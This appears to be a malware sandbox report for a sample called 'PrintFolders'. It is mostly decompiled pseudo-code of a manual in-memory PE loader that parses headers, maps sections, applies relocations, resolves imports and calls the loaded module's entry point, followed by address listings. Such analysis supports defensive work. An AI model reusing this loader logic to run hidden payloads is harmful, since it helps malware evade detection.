                                                          control_flow_graph 163 402f20-402f42 164 402f44-402f6b SetLastError call 402bc0 call 40ebbf 163->164 165 402f6c-402f74 163->165 166 402fa1-402faf 165->166 167 402f76 165->167 170 402fb1-402fd8 SetLastError call 402bc0 call 40ebbf 166->170 171 402fd9-402fe6 166->171 169 402f7b-402fa0 call 402bc0 SetLastError call 40ebbf 167->169 175 402fe8-402fed 171->175 176 402fef-402ff8 171->176 175->169 179 403004-40300a 176->179 180 402ffa-402fff 176->180 183 403016-403023 179->183 184 40300c-403011 179->184 180->169 187 403044-403067 GetNativeSystemInfo 183->187 188 403025 183->188 184->169 192 403073-40308b VirtualAlloc 187->192 193 403069-40306e 187->193 191 403027-403042 188->191 191->187 191->191 194 4030b3-4030ce GetProcessHeap HeapAlloc 192->194 195 40308d-40309d VirtualAlloc 192->195 193->169 196 4030d0-4030dd VirtualFree 194->196 197 4030e4-40312a 194->197 195->194 198 40309f-4030ac call 402bc0 195->198 196->197 199 40312c-40312e SetLastError 197->199 200 40314e-403196 VirtualAlloc call 4104c0 197->200 198->194 202 403134-40314d call 403680 call 40ebbf 199->202 208 40319c-40319f 200->208 209 40324f-403258 200->209 213 4031a0-4031a5 208->213 210 4032dd 209->210 211 40325e-403265 209->211 217 4032e2-4032ee call 402d20 210->217 214 403267-403269 211->214 215 40326b-40327d 211->215 218 4031a7-4031b3 213->218 219 4031e8-4031f0 213->219 214->217 215->210 220 40327f 215->220 217->202 232 4032f4-403317 217->232 223 403234-403246 218->223 224 4031b5-4031cf 218->224 219->199 221 4031f6-403209 call 402e90 219->221 225 403280-403295 220->225 231 40320b-403210 221->231 223->213 227 40324c 223->227 224->202 235 4031d5-4031e6 call 410b00 224->235 229 403297-40329a 225->229 230 4032ce-4032d8 225->230 227->209 236 4032a0-4032b1 229->236 230->225 238 4032da 230->238 231->202 237 403216-40322b call 4104c0 231->237 233 403319-40331e 232->233 234 40332c-40334c 232->234 239 403320-403323 233->239 240 403325-403327 233->240 242 403352-403358 234->242 243 403415-403421 call 402bf0 234->243 252 40322e-403231 235->252 244 4032b3-4032bb 236->244 245 4032be-4032cc 236->245 237->252 238->210 239->234 240->234 247 403329 240->247 249 403360-403379 242->249 255 403426-403428 243->255 244->245 245->230 245->236 247->234 253 403393-403396 249->253 254 40337b-40337e 249->254 252->223 259 4033d3-4033df 253->259 260 403398-40339f 253->260 256 403380-403383 254->256 257 403385-403388 254->257 255->202 258 40342e-40343a 255->258 263 40338d-403390 256->263 257->253 264 40338a 257->264 265 403463-403468 258->265 266 40343c-403445 258->266 261 4033e1 259->261 262 4033e7-4033f0 259->262 267 4033d0 260->267 268 4033a1-4033a6 call 402bf0 260->268 261->262 271 4033f3-40340f 262->271 263->253 264->263 269 4034ba-4034d3 call 40ebbf 265->269 270 40346a-403473 265->270 266->265 272 403447-40344b 266->272 267->259 275 4033ab-4033ad 268->275 276 4034a4-4034b9 call 40ebbf 270->276 277 403475-40347e 270->277 271->243 271->249 272->265 278 40344d 272->278 275->202 280 4033b3-4033ce 275->280 286 403480 277->286 287 40348a-4034a3 call 40ebbf 277->287 282 403450-40345f 278->282 280->271 288 403461 282->288 286->287 288->265
                                                          C-Code - Quality: 59%
                                                          			E00402F20(signed int* __ecx, signed int __edx) {
                                                          				signed int _v8;
                                                          				signed int _v40;
                                                          				char _v44;
                                                          				signed int* _v48;
                                                          				signed int _v52;
                                                          				signed int _v56;
                                                          				signed int _v60;
                                                          				signed int _v64;
                                                          				signed int _v68;
                                                          				void* _v72;
                                                          				long _v76;
                                                          				intOrPtr _v80;
                                                          				signed int _v84;
                                                          				signed int _v88;
                                                          				signed int _v92;
                                                          				signed int _v96;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t181;
                                                          				void* _t190;
                                                          				long _t192;
                                                          				long _t197;
                                                          				void* _t198;
                                                          				void* _t202;
                                                          				void* _t204;
                                                          				signed int _t206;
                                                          				signed int _t207;
                                                          				signed int _t212;
                                                          				void* _t214;
                                                          				intOrPtr _t215;
                                                          				intOrPtr* _t218;
                                                          				intOrPtr* _t224;
                                                          				signed int* _t226;
                                                          				signed int* _t229;
                                                          				void* _t234;
                                                          				signed int _t235;
                                                          				signed int _t236;
                                                          				signed char _t237;
                                                          				void _t238;
                                                          				signed int _t241;
                                                          				void* _t250;
                                                          				void* _t259;
                                                          				void* _t266;
                                                          				intOrPtr _t269;
                                                          				signed int _t279;
                                                          				signed char _t280;
                                                          				signed int _t281;
                                                          				void* _t282;
                                                          				signed int _t284;
                                                          				signed int _t291;
                                                          				signed int _t292;
                                                          				signed int _t294;
                                                          				void* _t297;
                                                          				intOrPtr _t306;
                                                          				intOrPtr _t310;
                                                          				void* _t315;
                                                          				void* _t324;
                                                          				signed int _t326;
                                                          				signed short* _t327;
                                                          				void* _t328;
                                                          				signed int _t330;
                                                          				long _t333;
                                                          				long _t334;
                                                          				void* _t335;
                                                          				void* _t336;
                                                          				void* _t337;
                                                          				void* _t338;
                                                          				signed int _t339;
                                                          				signed int _t340;
                                                          				signed int _t341;
                                                          				void* _t342;
                                                          				void* _t343;
                                                          				void* _t344;
                                                          				intOrPtr _t346;
                                                          				void* _t348;
                                                          				void* _t350;
                                                          				void* _t352;
                                                          				intOrPtr _t353;
                                                          				void* _t354;
                                                          				void* _t355;
                                                          				void* _t356;
                                                          				intOrPtr* _t357;
                                                          				signed int _t361;
                                                          				signed int _t363;
                                                          				void* _t364;
                                                          				intOrPtr _t366;
                                                          				signed int _t368;
                                                          				intOrPtr _t369;
                                                          				void* _t370;
                                                          				void* _t371;
                                                          				void* _t372;
                                                          				signed int _t373;
                                                          				void* _t374;
                                                          				void* _t375;
                                                          				void* _t376;
                                                          
                                                          				_t181 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t181 ^ _t373;
                                                          				_t276 = __edx;
                                                          				_t322 = __ecx;
                                                          				_t346 = 0;
                                                          				_v56 = __edx;
                                                          				_v48 = __ecx;
                                                          				if(__edx >= 0x40) {
                                                          					if( *__ecx == 0x5a4d) {
                                                          						_t279 = __ecx[0xf];
                                                          						_v68 = _t279;
                                                          						if(__edx >= _t279 + 0xf8) {
                                                          							_t276 = __ecx + _t279;
                                                          							_v64 = _t276;
                                                          							if( *(__ecx + _t279) == 0x4550) {
                                                          								if( *((intOrPtr*)(_t276 + 4)) == 0x14c) {
                                                          									_t280 =  *(_t276 + 0x38);
                                                          									if((_t280 & 0x00000001) == 0) {
                                                          										_t330 =  *(_t276 + 6) & 0x0000ffff;
                                                          										_t324 = ( *(_t276 + 0x14) & 0x0000ffff) + 0x24;
                                                          										if(_t330 != 0) {
                                                          											_t328 = _t324 + _t276;
                                                          											do {
                                                          												_t269 =  *((intOrPtr*)(_t328 + 4));
                                                          												_t328 = _t328 + 0x28;
                                                          												_t314 =  !=  ? _t269 : _t280;
                                                          												_t315 = ( !=  ? _t269 : _t280) +  *((intOrPtr*)(_t328 - 0x28));
                                                          												_t316 =  <=  ? _t346 : _t315;
                                                          												_t346 =  <=  ? _t346 : _t315;
                                                          												_t280 =  *(_t276 + 0x38);
                                                          												_t330 = _t330 - 1;
                                                          											} while (_t330 != 0);
                                                          										}
                                                          										__imp__GetNativeSystemInfo( &_v44); // executed
                                                          										_t281 = _v40;
                                                          										_t322 =  !(_t281 - 1);
                                                          										_t333 = _t281 - 0x00000001 +  *((intOrPtr*)(_t276 + 0x50)) & _t322;
                                                          										if(_t333 == (_t281 - 0x00000001 + _t346 & _t322)) {
                                                          											_t190 = VirtualAlloc( *(_t276 + 0x34), _t333, 0x3000, 4); // executed
                                                          											_v72 = _t190;
                                                          											if(_t190 != 0) {
                                                          												L22:
                                                          												_t192 = HeapAlloc(GetProcessHeap(), 8, 0x40);
                                                          												_t282 = _v72;
                                                          												_t334 = _t192;
                                                          												_v76 = _t334;
                                                          												if(_t334 != 0) {
                                                          													 *(_t334 + 4) = _t282;
                                                          													 *((intOrPtr*)(_t334 + 0x1c)) = E00402E90;
                                                          													 *(_t334 + 0x14) = ( *(_t276 + 0x16) & 0x0000ffff) >> 0x0000000d & 0x00000001;
                                                          													 *((intOrPtr*)(_t334 + 0x20)) = E00402EB0;
                                                          													 *((intOrPtr*)(_t334 + 0x24)) = E00402ED0;
                                                          													 *((intOrPtr*)(_t334 + 0x28)) = E00402EE0;
                                                          													 *((intOrPtr*)(_t334 + 0x2c)) = E00402F00;
                                                          													 *((intOrPtr*)(_t334 + 0x34)) = 0;
                                                          													 *(_t334 + 0x3c) = _v40;
                                                          													_t197 =  *(_t276 + 0x54);
                                                          													if(_v56 >= _t197) {
                                                          														_t198 = VirtualAlloc(_t282, _t197, 0x1000, 4); // executed
                                                          														_t348 = _t198;
                                                          														E004104C0(_t348, _v48,  *(_t276 + 0x54));
                                                          														_t375 = _t374 + 0xc;
                                                          														_v60 = 0;
                                                          														_t202 = _t348 + _v48[0xf];
                                                          														 *_t334 = _t202;
                                                          														 *((intOrPtr*)(_t202 + 0x34)) = _v72;
                                                          														_t284 =  *_t334;
                                                          														_t322 =  *(_t334 + 4);
                                                          														_v52 = _t322;
                                                          														_t204 = ( *(_t284 + 0x14) & 0x0000ffff) + 0x24;
                                                          														if(0 >=  *(_t284 + 6)) {
                                                          															L40:
                                                          															_t206 =  *((intOrPtr*)(_t284 + 0x34)) -  *(_t276 + 0x34);
                                                          															_v64 = _t206;
                                                          															if(_t206 == 0) {
                                                          																L52:
                                                          																_t207 = 1;
                                                          															} else {
                                                          																if( *((intOrPtr*)(_t284 + 0xa4)) != 0) {
                                                          																	_t322 =  *(_t334 + 4);
                                                          																	_t276 =  *((intOrPtr*)(_t284 + 0xa0)) + _t322;
                                                          																	_v56 = _t322;
                                                          																	_t238 =  *_t276;
                                                          																	if(_t238 != 0) {
                                                          																		do {
                                                          																			_t306 =  *((intOrPtr*)(_t276 + 4));
                                                          																			_v68 = _t238 + _t322;
                                                          																			_t327 = _t276 + 8;
                                                          																			_t364 = 0;
                                                          																			if((_t306 - 0x00000008 & 0xfffffffe) > 0) {
                                                          																				_t341 = _v68;
                                                          																				asm("o16 nop [eax+eax]");
                                                          																				do {
                                                          																					_t241 =  *_t327 & 0x0000ffff;
                                                          																					if((_t241 & 0x0000f000) == 0x3000) {
                                                          																						 *((intOrPtr*)((_t241 & 0x00000fff) + _t341)) =  *((intOrPtr*)((_t241 & 0x00000fff) + _t341)) + _v64;
                                                          																					}
                                                          																					_t306 =  *((intOrPtr*)(_t276 + 4));
                                                          																					_t364 = _t364 + 1;
                                                          																					_t327 =  &(_t327[1]);
                                                          																				} while (_t364 < _t306 - 8 >> 1);
                                                          																			}
                                                          																			_t238 =  *(_t276 + _t306);
                                                          																			_t276 = _t276 + _t306;
                                                          																			_t322 = _v56;
                                                          																		} while (_t238 != 0);
                                                          																		_t334 = _v76;
                                                          																	}
                                                          																	goto L52;
                                                          																} else {
                                                          																	_t207 = 0;
                                                          																}
                                                          															}
                                                          															 *((intOrPtr*)(_t334 + 0x18)) = _t207;
                                                          															if(E00402D20(_t334) == 0) {
                                                          																goto L27;
                                                          															} else {
                                                          																_t276 =  *_t334;
                                                          																_t352 = _t276 + ( *(_t276 + 0x14) & 0x0000ffff);
                                                          																_t212 =  *(_t352 + 0x20);
                                                          																_t291 =  ~( *(_t334 + 0x3c)) & _t212;
                                                          																_v64 = _t291;
                                                          																_v92 = _t291;
                                                          																_t292 =  *((intOrPtr*)(_t352 + 0x28));
                                                          																_v60 = _t212;
                                                          																_v96 = _t212;
                                                          																if(_t292 == 0) {
                                                          																	_t237 =  *(_t352 + 0x3c);
                                                          																	if((_t237 & 0x00000040) == 0) {
                                                          																		if(_t237 < 0) {
                                                          																			_t292 =  *((intOrPtr*)(_t276 + 0x24));
                                                          																		}
                                                          																	} else {
                                                          																		_t292 =  *((intOrPtr*)(_t276 + 0x20));
                                                          																	}
                                                          																}
                                                          																_t326 =  *(_t352 + 0x3c);
                                                          																_v88 = _t292;
                                                          																_v84 = _t326;
                                                          																_v80 = 0;
                                                          																_v68 = 1;
                                                          																if(1 >=  *(_t276 + 6)) {
                                                          																	L76:
                                                          																	_t322 =  &_v96;
                                                          																	_v80 = 1;
                                                          																	_t214 = E00402BF0(_t276, _t334,  &_v96); // executed
                                                          																	if(_t214 == 0) {
                                                          																		goto L27;
                                                          																	} else {
                                                          																		_t322 =  *_t334;
                                                          																		_t294 = _t322;
                                                          																		_t353 =  *((intOrPtr*)(_t322 + 0xc0));
                                                          																		if(_t353 != 0) {
                                                          																			_t276 =  *(_t334 + 4);
                                                          																			_t357 =  *((intOrPtr*)(_t276 + _t353 + 0xc));
                                                          																			if(_t357 != 0) {
                                                          																				_t224 =  *_t357;
                                                          																				if(_t224 != 0) {
                                                          																					do {
                                                          																						 *_t224(_t276, 1, 0);
                                                          																						_t224 =  *((intOrPtr*)(_t357 + 4));
                                                          																						_t357 = _t357 + 4;
                                                          																					} while (_t224 != 0);
                                                          																					_t294 =  *_t334;
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																		_t215 =  *((intOrPtr*)(_t294 + 0x28));
                                                          																		if(_t215 == 0) {
                                                          																			 *((intOrPtr*)(_t334 + 0x38)) = 0;
                                                          																			_pop(_t336);
                                                          																			_pop(_t354);
                                                          																			return E0040EBBF(_t334, _t276, _v8 ^ _t373, _t322, _t336, _t354);
                                                          																		} else {
                                                          																			_t297 = _v72;
                                                          																			_t218 = _t215 + _t297;
                                                          																			if( *(_t334 + 0x14) == 0) {
                                                          																				 *((intOrPtr*)(_t334 + 0x38)) = _t218;
                                                          																				_pop(_t337);
                                                          																				_pop(_t355);
                                                          																				return E0040EBBF(_t334, _t276, _v8 ^ _t373, _t322, _t337, _t355);
                                                          																			} else {
                                                          																				_push(0);
                                                          																				_push(1);
                                                          																				_push(_t297);
                                                          																				if( *_t218() != 0) {
                                                          																					 *((intOrPtr*)(_t334 + 0x10)) = 1;
                                                          																					_pop(_t338);
                                                          																					_pop(_t356);
                                                          																					return E0040EBBF(_t334, _t276, _v8 ^ _t373, _t322, _t338, _t356);
                                                          																				} else {
                                                          																					SetLastError(0x45a);
                                                          																					goto L26;
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																} else {
                                                          																	_t226 = _t352 + 0x64;
                                                          																	_v48 = _t226;
                                                          																	do {
                                                          																		_v56 =  *((intOrPtr*)(_t226 - 0x1c));
                                                          																		_t339 =  *((intOrPtr*)(_t226 - 0x14));
                                                          																		_t361 =  ~( *(_t334 + 0x3c)) & _v56;
                                                          																		_v52 = _t339;
                                                          																		_t334 = _v76;
                                                          																		if(_t339 == 0) {
                                                          																			if(( *_t226 & 0x00000040) == 0) {
                                                          																				if(( *_t226 & 0x00000080) != 0) {
                                                          																					_t340 =  *((intOrPtr*)(_t276 + 0x24));
                                                          																					goto L66;
                                                          																				}
                                                          																			} else {
                                                          																				_t340 =  *((intOrPtr*)(_t276 + 0x20));
                                                          																				L66:
                                                          																				_v52 = _t340;
                                                          																				_t334 = _v76;
                                                          																			}
                                                          																		}
                                                          																		if(_v64 == _t361) {
                                                          																			L72:
                                                          																			_t326 = _t326 |  *_t226;
                                                          																			asm("bt eax, 0x19");
                                                          																			if(_t326 >= 0) {
                                                          																				_t326 = _t326 & 0xfdffffff;
                                                          																			}
                                                          																			_t292 = _v52 - _v60 + _v56;
                                                          																			_t229 = _v48;
                                                          																			goto L75;
                                                          																		} else {
                                                          																			if(_v60 + _t292 > _t361) {
                                                          																				_t226 = _v48;
                                                          																				goto L72;
                                                          																			} else {
                                                          																				_t322 =  &_v96;
                                                          																				_t234 = E00402BF0(_t276, _t334,  &_v96); // executed
                                                          																				if(_t234 == 0) {
                                                          																					goto L27;
                                                          																				} else {
                                                          																					_t235 = _v56;
                                                          																					_t292 = _v52;
                                                          																					_t276 =  *_t334;
                                                          																					_v60 = _t235;
                                                          																					_v96 = _t235;
                                                          																					_t236 = _t361;
                                                          																					_v64 = _t236;
                                                          																					_v92 = _t236;
                                                          																					_t229 = _v48;
                                                          																					_t326 =  *_t229;
                                                          																					goto L75;
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																		goto L90;
                                                          																		L75:
                                                          																		_v48 =  &(_t229[0xa]);
                                                          																		_t363 = _v68 + 1;
                                                          																		_v84 = _t326;
                                                          																		_t226 = _v48;
                                                          																		_v88 = _t292;
                                                          																		_v68 = _t363;
                                                          																	} while (_t363 < ( *(_t276 + 6) & 0x0000ffff));
                                                          																	goto L76;
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t276 = _t204 + _t284;
                                                          															do {
                                                          																_t310 =  *((intOrPtr*)(_t276 + 4));
                                                          																if(_t310 != 0) {
                                                          																	if(_v56 <  *(_t276 + 8) + _t310) {
                                                          																		goto L25;
                                                          																	} else {
                                                          																		_t250 =  *((intOrPtr*)( *((intOrPtr*)(_t334 + 0x1c))))( *_t276 + _t322, _t310, 0x1000, 4,  *((intOrPtr*)(_t334 + 0x34))); // executed
                                                          																		_t376 = _t375 + 0x14;
                                                          																		if(_t250 == 0) {
                                                          																			goto L27;
                                                          																		} else {
                                                          																			_t366 =  *_t276 + _v52;
                                                          																			E004104C0(_t366, _v48 +  *(_t276 + 8),  *((intOrPtr*)(_t276 + 4)));
                                                          																			 *((intOrPtr*)(_t276 - 4)) = _t366;
                                                          																			goto L37;
                                                          																		}
                                                          																	}
                                                          																} else {
                                                          																	_t369 =  *((intOrPtr*)( &(_v48[0xe]) + _v68));
                                                          																	if(_t369 <= 0) {
                                                          																		goto L38;
                                                          																	} else {
                                                          																		_t259 =  *((intOrPtr*)( *((intOrPtr*)(_t334 + 0x1c))))( *_t276 + _t322, _t369, 0x1000, 4,  *((intOrPtr*)(_t334 + 0x34)));
                                                          																		_t376 = _t375 + 0x14;
                                                          																		if(_t259 == 0) {
                                                          																			goto L27;
                                                          																		} else {
                                                          																			 *((intOrPtr*)(_t276 - 4)) =  *_t276 + _v52;
                                                          																			E00410B00(_t334,  *_t276 + _v52, 0, _t369);
                                                          																			L37:
                                                          																			_t322 = _v52;
                                                          																			_t375 = _t376 + 0xc;
                                                          																			goto L38;
                                                          																		}
                                                          																	}
                                                          																}
                                                          																goto L90;
                                                          																L38:
                                                          																_t284 =  *_t334;
                                                          																_t276 = _t276 + 0x28;
                                                          																_t368 = _v60 + 1;
                                                          																_v60 = _t368;
                                                          															} while (_t368 < ( *(_t284 + 6) & 0x0000ffff));
                                                          															_t276 = _v64;
                                                          															goto L40;
                                                          														}
                                                          													} else {
                                                          														L25:
                                                          														SetLastError(0xd);
                                                          														L26:
                                                          														L27:
                                                          														E00403680(_t334);
                                                          														_pop(_t335);
                                                          														_pop(_t350);
                                                          														return E0040EBBF(0, _t276, _v8 ^ _t373, _t322, _t335, _t350);
                                                          													}
                                                          												} else {
                                                          													VirtualFree(_t282, _t192, 0x8000);
                                                          													SetLastError(0xe);
                                                          													goto L5;
                                                          												}
                                                          											} else {
                                                          												_t266 = VirtualAlloc(_t190, _t333, 0x3000, 4);
                                                          												_v72 = _t266;
                                                          												if(_t266 != 0) {
                                                          													goto L22;
                                                          												} else {
                                                          													_push("ERROR_OUTOFMEMORY!\n");
                                                          													E00402BC0();
                                                          													SetLastError(0xe);
                                                          													goto L5;
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_push("alignedImageSize != AlignValueUp!\n");
                                                          											goto L4;
                                                          										}
                                                          									} else {
                                                          										_push("Section alignment invalid!\n");
                                                          										goto L4;
                                                          									}
                                                          								} else {
                                                          									_push("FileHeader.Machine != HOST_MACHINE!\n");
                                                          									goto L4;
                                                          								}
                                                          							} else {
                                                          								_push("Signature != IMAGE_NT_SIGNATURE!\n");
                                                          								goto L4;
                                                          							}
                                                          						} else {
                                                          							SetLastError(0xd);
                                                          							_push("DOS header size is not valid!\n");
                                                          							E00402BC0();
                                                          							_pop(_t343);
                                                          							_pop(_t371);
                                                          							_t9 =  &_v8; // 0x402b76
                                                          							return E0040EBBF(0, _t276,  *_t9 ^ _t373, _t322, _t343, _t371);
                                                          						}
                                                          					} else {
                                                          						_push("DOS header is not valid!\n");
                                                          						L4:
                                                          						E00402BC0();
                                                          						SetLastError(0xc1);
                                                          						L5:
                                                          						_pop(_t342);
                                                          						_pop(_t370);
                                                          						_t5 =  &_v8; // 0x402b76
                                                          						return E0040EBBF(0, _t276,  *_t5 ^ _t373, _t322, _t342, _t370);
                                                          					}
                                                          				} else {
                                                          					SetLastError(0xd);
                                                          					_push("Size is not valid!\n");
                                                          					E00402BC0();
                                                          					_pop(_t344);
                                                          					_pop(_t372);
                                                          					_t4 =  &_v8; // 0x402b76
                                                          					return E0040EBBF(0, _t276,  *_t4 ^ _t373, _t322, _t344, _t372);
                                                          				}
                                                          				L90:
                                                          			}



































































































                                                          0x00402f26
                                                          0x00402f2d
                                                          0x00402f31
                                                          0x00402f33
                                                          0x00402f36
                                                          0x00402f38
                                                          0x00402f3b
                                                          0x00402f42
                                                          0x00402f74
                                                          0x00402fa1
                                                          0x00402fa4
                                                          0x00402faf
                                                          0x00402fe0
                                                          0x00402fe3
                                                          0x00402fe6
                                                          0x00402ff8
                                                          0x00403004
                                                          0x0040300a
                                                          0x0040301a
                                                          0x0040301e
                                                          0x00403023
                                                          0x00403025
                                                          0x00403027
                                                          0x00403027
                                                          0x0040302a
                                                          0x0040302f
                                                          0x00403032
                                                          0x00403037
                                                          0x0040303a
                                                          0x0040303c
                                                          0x0040303f
                                                          0x0040303f
                                                          0x00403027
                                                          0x00403048
                                                          0x0040304e
                                                          0x00403057
                                                          0x00403061
                                                          0x00403067
                                                          0x00403084
                                                          0x00403086
                                                          0x0040308b
                                                          0x004030b3
                                                          0x004030be
                                                          0x004030c4
                                                          0x004030c7
                                                          0x004030c9
                                                          0x004030ce
                                                          0x004030e4
                                                          0x004030f1
                                                          0x004030f8
                                                          0x004030fb
                                                          0x00403102
                                                          0x00403109
                                                          0x00403110
                                                          0x00403117
                                                          0x00403121
                                                          0x00403124
                                                          0x0040312a
                                                          0x00403157
                                                          0x0040315c
                                                          0x00403162
                                                          0x0040316a
                                                          0x00403170
                                                          0x0040317a
                                                          0x0040317e
                                                          0x00403180
                                                          0x00403183
                                                          0x00403185
                                                          0x00403188
                                                          0x0040318f
                                                          0x00403196
                                                          0x0040324f
                                                          0x00403252
                                                          0x00403255
                                                          0x00403258
                                                          0x004032dd
                                                          0x004032dd
                                                          0x0040325e
                                                          0x00403265
                                                          0x0040326b
                                                          0x00403274
                                                          0x00403276
                                                          0x00403279
                                                          0x0040327d
                                                          0x00403280
                                                          0x00403280
                                                          0x00403285
                                                          0x00403288
                                                          0x0040328b
                                                          0x00403295
                                                          0x00403297
                                                          0x0040329a
                                                          0x004032a0
                                                          0x004032a0
                                                          0x004032b1
                                                          0x004032bb
                                                          0x004032bb
                                                          0x004032be
                                                          0x004032c1
                                                          0x004032c2
                                                          0x004032ca
                                                          0x004032a0
                                                          0x004032ce
                                                          0x004032d1
                                                          0x004032d3
                                                          0x004032d6
                                                          0x004032da
                                                          0x004032da
                                                          0x00000000
                                                          0x00403267
                                                          0x00403267
                                                          0x00403267
                                                          0x00403265
                                                          0x004032e4
                                                          0x004032ee
                                                          0x00000000
                                                          0x004032f4
                                                          0x004032f4
                                                          0x004032ff
                                                          0x00403301
                                                          0x00403304
                                                          0x00403306
                                                          0x00403309
                                                          0x0040330c
                                                          0x0040330f
                                                          0x00403312
                                                          0x00403317
                                                          0x00403319
                                                          0x0040331e
                                                          0x00403327
                                                          0x00403329
                                                          0x00403329
                                                          0x00403320
                                                          0x00403320
                                                          0x00403320
                                                          0x0040331e
                                                          0x0040332c
                                                          0x00403334
                                                          0x00403337
                                                          0x0040333a
                                                          0x00403341
                                                          0x0040334c
                                                          0x00403415
                                                          0x00403415
                                                          0x00403418
                                                          0x00403421
                                                          0x00403428
                                                          0x00000000
                                                          0x0040342e
                                                          0x0040342e
                                                          0x00403430
                                                          0x00403432
                                                          0x0040343a
                                                          0x0040343c
                                                          0x0040343f
                                                          0x00403445
                                                          0x00403447
                                                          0x0040344b
                                                          0x00403450
                                                          0x00403455
                                                          0x00403457
                                                          0x0040345a
                                                          0x0040345d
                                                          0x00403461
                                                          0x00403461
                                                          0x0040344b
                                                          0x00403445
                                                          0x00403463
                                                          0x00403468
                                                          0x004034bf
                                                          0x004034c8
                                                          0x004034c9
                                                          0x004034d3
                                                          0x0040346a
                                                          0x0040346a
                                                          0x0040346d
                                                          0x00403473
                                                          0x004034a4
                                                          0x004034a9
                                                          0x004034aa
                                                          0x004034b9
                                                          0x00403475
                                                          0x00403475
                                                          0x00403477
                                                          0x00403479
                                                          0x0040347e
                                                          0x0040348a
                                                          0x00403493
                                                          0x00403494
                                                          0x004034a3
                                                          0x00403480
                                                          0x0040312e
                                                          0x00000000
                                                          0x0040312e
                                                          0x0040347e
                                                          0x00403473
                                                          0x00403468
                                                          0x00403352
                                                          0x00403352
                                                          0x00403355
                                                          0x00403360
                                                          0x00403363
                                                          0x00403369
                                                          0x0040336e
                                                          0x00403373
                                                          0x00403376
                                                          0x00403379
                                                          0x0040337e
                                                          0x00403388
                                                          0x0040338a
                                                          0x00000000
                                                          0x0040338a
                                                          0x00403380
                                                          0x00403380
                                                          0x0040338d
                                                          0x0040338d
                                                          0x00403390
                                                          0x00403390
                                                          0x0040337e
                                                          0x00403396
                                                          0x004033d3
                                                          0x004033d9
                                                          0x004033db
                                                          0x004033df
                                                          0x004033e1
                                                          0x004033e1
                                                          0x004033ed
                                                          0x004033f0
                                                          0x00000000
                                                          0x00403398
                                                          0x0040339f
                                                          0x004033d0
                                                          0x00000000
                                                          0x004033a1
                                                          0x004033a1
                                                          0x004033a6
                                                          0x004033ad
                                                          0x00000000
                                                          0x004033b3
                                                          0x004033b3
                                                          0x004033b6
                                                          0x004033b9
                                                          0x004033bb
                                                          0x004033be
                                                          0x004033c1
                                                          0x004033c3
                                                          0x004033c6
                                                          0x004033c9
                                                          0x004033cc
                                                          0x00000000
                                                          0x004033cc
                                                          0x004033ad
                                                          0x0040339f
                                                          0x00000000
                                                          0x004033f3
                                                          0x004033f9
                                                          0x004033fc
                                                          0x00403403
                                                          0x00403406
                                                          0x00403409
                                                          0x0040340c
                                                          0x0040340c
                                                          0x00000000
                                                          0x00403360
                                                          0x0040334c
                                                          0x0040319c
                                                          0x0040319c
                                                          0x004031a0
                                                          0x004031a0
                                                          0x004031a5
                                                          0x004031f0
                                                          0x00000000
                                                          0x004031f6
                                                          0x00403209
                                                          0x0040320b
                                                          0x00403210
                                                          0x00000000
                                                          0x00403216
                                                          0x00403221
                                                          0x00403226
                                                          0x0040322b
                                                          0x00000000
                                                          0x0040322b
                                                          0x00403210
                                                          0x004031a7
                                                          0x004031ad
                                                          0x004031b3
                                                          0x00000000
                                                          0x004031b5
                                                          0x004031c8
                                                          0x004031ca
                                                          0x004031cf
                                                          0x00000000
                                                          0x004031d5
                                                          0x004031de
                                                          0x004031e1
                                                          0x0040322e
                                                          0x0040322e
                                                          0x00403231
                                                          0x00000000
                                                          0x00403231
                                                          0x004031cf
                                                          0x004031b3
                                                          0x00000000
                                                          0x00403234
                                                          0x00403234
                                                          0x00403236
                                                          0x0040323c
                                                          0x0040323d
                                                          0x00403244
                                                          0x0040324c
                                                          0x00000000
                                                          0x0040324c
                                                          0x0040312c
                                                          0x0040312c
                                                          0x0040312e
                                                          0x0040312e
                                                          0x00403134
                                                          0x00403136
                                                          0x0040313d
                                                          0x0040313e
                                                          0x0040314d
                                                          0x0040314d
                                                          0x004030d0
                                                          0x004030d7
                                                          0x00402f88
                                                          0x00000000
                                                          0x00402f88
                                                          0x0040308d
                                                          0x00403096
                                                          0x00403098
                                                          0x0040309d
                                                          0x00000000
                                                          0x0040309f
                                                          0x0040309f
                                                          0x004030a4
                                                          0x00402f88
                                                          0x00000000
                                                          0x00402f88
                                                          0x0040309d
                                                          0x00403069
                                                          0x00403069
                                                          0x00000000
                                                          0x00403069
                                                          0x0040300c
                                                          0x0040300c
                                                          0x00000000
                                                          0x0040300c
                                                          0x00402ffa
                                                          0x00402ffa
                                                          0x00000000
                                                          0x00402ffa
                                                          0x00402fe8
                                                          0x00402fe8
                                                          0x00000000
                                                          0x00402fe8
                                                          0x00402fb1
                                                          0x00402fb3
                                                          0x00402fb9
                                                          0x00402fbe
                                                          0x00402fc8
                                                          0x00402fc9
                                                          0x00402fcb
                                                          0x00402fd8
                                                          0x00402fd8
                                                          0x00402f76
                                                          0x00402f76
                                                          0x00402f7b
                                                          0x00402f7b
                                                          0x00402f88
                                                          0x00402f88
                                                          0x00402f90
                                                          0x00402f91
                                                          0x00402f93
                                                          0x00402fa0
                                                          0x00402fa0
                                                          0x00402f44
                                                          0x00402f46
                                                          0x00402f4c
                                                          0x00402f51
                                                          0x00402f5b
                                                          0x00402f5c
                                                          0x00402f5e
                                                          0x00402f6b
                                                          0x00402f6b
                                                          0x00000000

                                                          APIs
                                                          • SetLastError.KERNEL32(0000000D,?), ref: 00402F46
                                                          • SetLastError.KERNEL32(000000C1), ref: 00402F88
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ErrorLast
